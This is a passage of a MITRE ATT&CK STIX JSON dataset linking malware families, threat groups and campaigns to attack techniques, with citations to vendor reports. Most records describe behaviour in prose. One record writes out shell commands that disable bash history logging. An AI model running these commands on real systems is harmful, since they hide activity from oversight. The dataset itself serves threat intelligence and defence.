Breach)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ab554dba-2116-4dae-bc4c-47f76be72254","created":"2023-06-14T20:19:54.515Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-02T20:34:30.081Z","description":"[Uroburos](https://attack.mitre.org/software/S0022) has registered a service, typically named `WerFaultSvc`, to decrypt and find a kernel driver and kernel driver loader to maintain persistence.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)","relationship_type":"uses","source_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ab55f99b-5239-4aea-93f7-e1002520bf05","type":"relationship","created":"2021-09-21T15:10:56.106Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks GOLD KINGSWOOD September 2018","url":"https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish","description":"CTU. (2018, September 27). Cybercriminals Increasingly Trying to Ensnare the Big Financial Fish. Retrieved September 20, 2021."}],"modified":"2021-09-21T15:10:56.106Z","description":"[SpicyOmelette](https://attack.mitre.org/software/S0646) has the ability to execute arbitrary JavaScript code on a compromised host.(Citation: Secureworks GOLD KINGSWOOD September 2018)","relationship_type":"uses","source_ref":"malware--599cd7b5-37b5-4cdd-8174-2811531ce9d0","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ab563a30-370d-4e84-a9e2-187ba7b886b5","created":"2023-03-17T19:29:05.912Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT29 Nov 2018","description":"Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html"},{"source_name":"Microsoft Unidentified Dec 2018","description":"Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019.","url":"https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T20:14:31.507Z","description":"(Citation: FireEye APT29 Nov 2018)(Citation: Microsoft Unidentified Dec 2018)","relationship_type":"uses","source_ref":"campaign--712e38c3-a656-426a-9b3b-a6bfb63294c6","target_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ab589bd1-49d3-422e-ac25-c24d2964b258","type":"relationship","created":"2019-06-05T21:30:37.394Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ProofPoint Ursnif Aug 2016","url":"https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality","description":"Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019."}],"modified":"2019-06-24T16:46:20.902Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) has used a DGA to generate domain names for C2.(Citation: ProofPoint Ursnif Aug 2016)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ab5f4ee8-c7fc-4be4-bb39-0536d7d7eba3","created":"2023-03-14T19:50:54.196Z","revoked":false,"external_references":[{"source_name":"NCC Group Black Basta June 2022","description":"Inman, R. and Gurney, P. (2022, June 6). Shining the Light on Black Basta. Retrieved March 8, 2023.","url":"https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-14T19:50:54.196Z","description":"[Black Basta](https://attack.mitre.org/software/S1070) has used WMI to execute files over the network.(Citation: NCC Group Black Basta June 2022)","relationship_type":"uses","source_ref":"malware--8d242fb4-9033-4f13-8a88-4b9b4bcd9a53","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ab62293d-8f89-46b5-bab1-f7b564f5996f","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html","description":"Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.","source_name":"FireEye FELIXROOT July 2018"}],"modified":"2020-03-30T02:52:44.822Z","description":"[FELIXROOT](https://attack.mitre.org/software/S0267) encrypts collected data with AES and Base64 and then sends it to the C2 server.(Citation: FireEye FELIXROOT July 2018)","relationship_type":"uses","source_ref":"malware--cf8df906-179c-4a78-bd6e-6605e30f6624","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ab641f16-7ba7-452f-b737-786e8c20d815","type":"relationship","created":"2021-03-18T13:52:56.041Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali Static Kitten February 2021","url":"https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies","description":"Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021."},{"source_name":"Tetra Defense Sodinokibi March 2020","url":"https://www.tetradefense.com/incident-response-services/cause-and-effect-sodinokibi-ransomware-analysis","description":"Tetra Defense. (2020, March). CAUSE AND EFFECT: SODINOKIBI RANSOMWARE ANALYSIS. Retrieved December 14, 2020."}],"modified":"2021-04-13T00:37:06.963Z","description":"(Citation: Anomali Static Kitten February 2021)(Citation: Tetra Defense Sodinokibi March 2020)","relationship_type":"uses","source_ref":"intrusion-set--c77c5576-ca19-42ed-a36f-4b4486a84133","target_ref":"tool--842976c7-f9c8-41b2-8371-41dc64fbe261","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ab6646bd-2b05-4c04-b6ee-0c0250352e76","created":"2022-09-27T16:29:52.431Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T16:29:52.431Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used PowerShell to add and delete rules in the Windows firewall.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ab66ef8a-f496-48d2-a358-0e4f7b00d5c0","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"}],"modified":"2020-03-20T21:06:38.269Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060)'s MSGET downloader uses a dead drop resolver to access malicious payloads.(Citation: Secureworks BRONZE BUTLER Oct 2017)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ab687dca-2741-4920-a71e-e0e0444809c5","created":"2017-05-31T21:33:27.069Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Blockbuster RATs","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.","url":"https://web.archive.org/web/20220608001455/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf"},{"source_name":"Novetta Blockbuster","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T11:03:54.707Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) malware SierraAlfa sends data to one of the hard-coded C2 servers chosen at random, and if the transmission fails, chooses a new C2 server to attempt the transmission again.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster RATs)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ab6a19e4-ce00-46cd-ae83-0798471e4a4a","type":"relationship","created":"2017-05-31T21:33:27.062Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"},{"url":"https://www.secureworks.com/research/bronze-union","description":"Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.","source_name":"SecureWorks BRONZE UNION June 2017"}],"modified":"2020-03-19T20:15:05.394Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors look for and use VPN profiles during an operation to access the network using external VPN services.(Citation: Dell TG-3390) [Threat Group-3390](https://attack.mitre.org/groups/G0027) has also obtained OWA account credentials during intrusions that it subsequently used to attempt to regain access when evicted from a victim network.(Citation: SecureWorks BRONZE UNION June 2017)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ab6a59bc-fa67-4d6f-ab55-e5cb35f62839","created":"2023-04-10T22:32:44.414Z","revoked":false,"external_references":[{"source_name":"Rapid7 HAFNIUM Mar 2021","description":"Eoin Miller. (2021, March 23). Defending Against the Zero Day: Analyzing Attacker Behavior Post-Exploitation of Microsoft Exchange. Retrieved October 27, 2022.","url":"https://www.rapid7.com/blog/post/2021/03/23/defending-against-the-zero-day-analyzing-attacker-behavior-post-exploitation-of-microsoft-exchange/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T22:32:44.414Z","description":"[HAFNIUM](https://attack.mitre.org/groups/G0125) has hidden files on a compromised host.(Citation: Rapid7 HAFNIUM Mar 2021)","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ab7eb363-c775-4065-a80d-1b324f22d0b8","type":"relationship","created":"2017-05-31T21:33:27.033Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant Operation Ke3chang November 2014","description":"Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.","url":"https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs"}],"modified":"2021-11-01T21:12:15.034Z","description":"The [Ke3chang](https://attack.mitre.org/groups/G0004) group has been known to compress data before exfiltration.(Citation: Mandiant Operation Ke3chang November 2014)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ab7faed6-3c50-4b04-a31b-ac2c933a51ef","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}],"modified":"2020-03-16T16:56:45.657Z","description":"[HTTPBrowser](https://attack.mitre.org/software/S0070) is capable of capturing keystrokes on victims.(Citation: Dell TG-3390)","relationship_type":"uses","source_ref":"malware--e066bf86-9cfb-407a-9d25-26fd5d91e360","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ab826077-72af-4bcf-b72a-398093671b26","created":"2024-09-16T09:16:16.705Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T09:16:16.706Z","description":"[APT41 DUST](https://attack.mitre.org/campaigns/C0040) exfiltrated collected information to OneDrive.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"campaign--add4d9de-1256-4166-83b8-57087288dced","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ab83d817-57b8-4970-afc6-fbd70c6e3760","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.youtube.com/watch?v=fevGZs0EQu8","description":"Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.","source_name":"Mandiant FIN5 GrrCON Oct 2016"}],"modified":"2019-04-24T19:41:25.865Z","description":"(Citation: Mandiant FIN5 GrrCON Oct 2016)","relationship_type":"uses","source_ref":"intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022","target_ref":"tool--9de2308e-7bed-43a3-8e58-f194b3586700","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ab8f7561-4e27-4974-b93d-03a9c1ae4543","type":"relationship","created":"2020-02-04T13:02:11.978Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-08T21:34:44.952Z","description":"There are multiple methods of preventing a user's command history from being flushed to their .bash_history file, including use of the following commands:\nset +o history and set -o history to start logging again;\nunset HISTFILE being added to a user's .bash_rc file; and\nln -s /dev/null ~/.bash_history to write commands to /dev/nullinstead.","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--8187bd2a-866f-4457-9009-86b0ddedffa3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ab90bb4c-96d2-4c01-ac66-fe8bf585d88c","type":"relationship","created":"2021-08-31T22:15:50.528Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Lokibot Jan 2021","url":"https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html","description":"Muhammad, I., Unterbrink, H.. (2021, January 6). A Deep Dive into Lokibot Infection Chain. Retrieved August 31, 2021."}],"modified":"2021-08-31T22:15:50.528Z","description":"[Lokibot](https://attack.mitre.org/software/S0447) has used LoadLibrary(), GetProcAddress() and CreateRemoteThread() API functions to execute its shellcode.(Citation: Talos Lokibot Jan 2021)","relationship_type":"uses","source_ref":"malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aba32ee8-9eca-45fa-99f3-89e75dbc16a6","type":"relationship","created":"2020-06-24T15:33:08.153Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T15:33:08.153Z","description":"[ABK](https://attack.mitre.org/software/S0469) can extract a malicious Portable Executable (PE) from a photo.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--a0ebedca-d558-4e48-8ff7-4bf76208d90c","target_ref":"attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--aba4a71f-ddee-428b-a454-9842fd8750fd","created":"2024-09-18T18:41:42.508Z","revoked":false,"external_references":[{"source_name":"Elastic Latrodectus May 2024","description":"Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 2024.","url":"https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-18T18:41:42.508Z","description":"\n[Latrodectus](https://attack.mitre.org/software/S1160) has the ability to restart compromised hosts.(Citation: Elastic Latrodectus May 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aba4b49c-0e87-4e81-81ce-cdefff278c5f","type":"relationship","created":"2022-03-17T15:24:46.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Cyclops Blink March 2022","url":"https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html","description":"Haquebord, F. et al. (2022, March 17). Cyclops Blink Sets Sights on Asus Routers. Retrieved March 17, 2022."}],"modified":"2022-03-17T15:24:46.832Z","description":"[Cyclops Blink](https://attack.mitre.org/software/S0687) has the ability to create a pipe to enable inter-process communication.(Citation: Trend Micro Cyclops Blink March 2022)","relationship_type":"uses","source_ref":"malware--b350b47f-88fe-4921-8538-6d9c59bac84e","target_ref":"attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--aba4daa2-5022-4fe9-8359-7c0af1f58b86","created":"2021-12-27T17:40:56.746Z","x_mitre_version":"1.0","external_references":[{"source_name":"Check Point Warzone Feb 2020","url":"https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/","description":"Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021."},{"source_name":"Uptycs Warzone UAC Bypass November 2020","url":"https://www.uptycs.com/blog/warzone-rat-comes-with-uac-bypass-technique","description":"Mohanta, A. (2020, November 25). Warzone RAT comes with UAC bypass technique. Retrieved April 7, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WarzoneRAT](https://attack.mitre.org/software/S0670) can access the webcam on a victim's machine.(Citation: Check Point Warzone Feb 2020)(Citation: Uptycs Warzone UAC Bypass November 2020)","modified":"2022-04-07T15:03:13.997Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--fde19a18-e502-467f-be14-58c71b4e7f4b","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--aba5da8c-1c64-459b-8fdb-6c29be72e878","created":"2024-03-07T21:15:07.801Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"},{"source_name":"Mandiant Cutting Edge January 2024","description":"McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T20:54:05.866Z","description":"[LIGHTWIRE](https://attack.mitre.org/software/S1119) can imbed itself into the legitimate `compcheckresult.cgi` component of Ivanti Connect Secure VPNs to enable command execution.(Citation: Mandiant Cutting Edge January 2024)(Citation: Mandiant Cutting Edge Part 2 January 2024)","relationship_type":"uses","source_ref":"malware--5dc9e8ec-9917-4de7-b8ab-16007899dd80","target_ref":"attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--aba65eb4-6bd9-40bc-9b06-48b86e9a85e2","created":"2022-09-30T19:13:29.965Z","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T19:13:29.965Z","description":"For [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016), the threat actors disguised some executables as JPG files.(Citation: Cylance Dust Storm) ","relationship_type":"uses","source_ref":"campaign--4603cf2f-06d0-4970-9c5d-5071b08c817f","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aba9d812-3839-42c8-9759-be934c1e54a4","type":"relationship","created":"2020-01-13T15:52:59.231Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-13T15:52:59.231Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21","target_ref":"attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--abb19a50-d9ec-4978-ab58-f4940161e1cd","type":"relationship","created":"2022-03-30T14:26:51.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d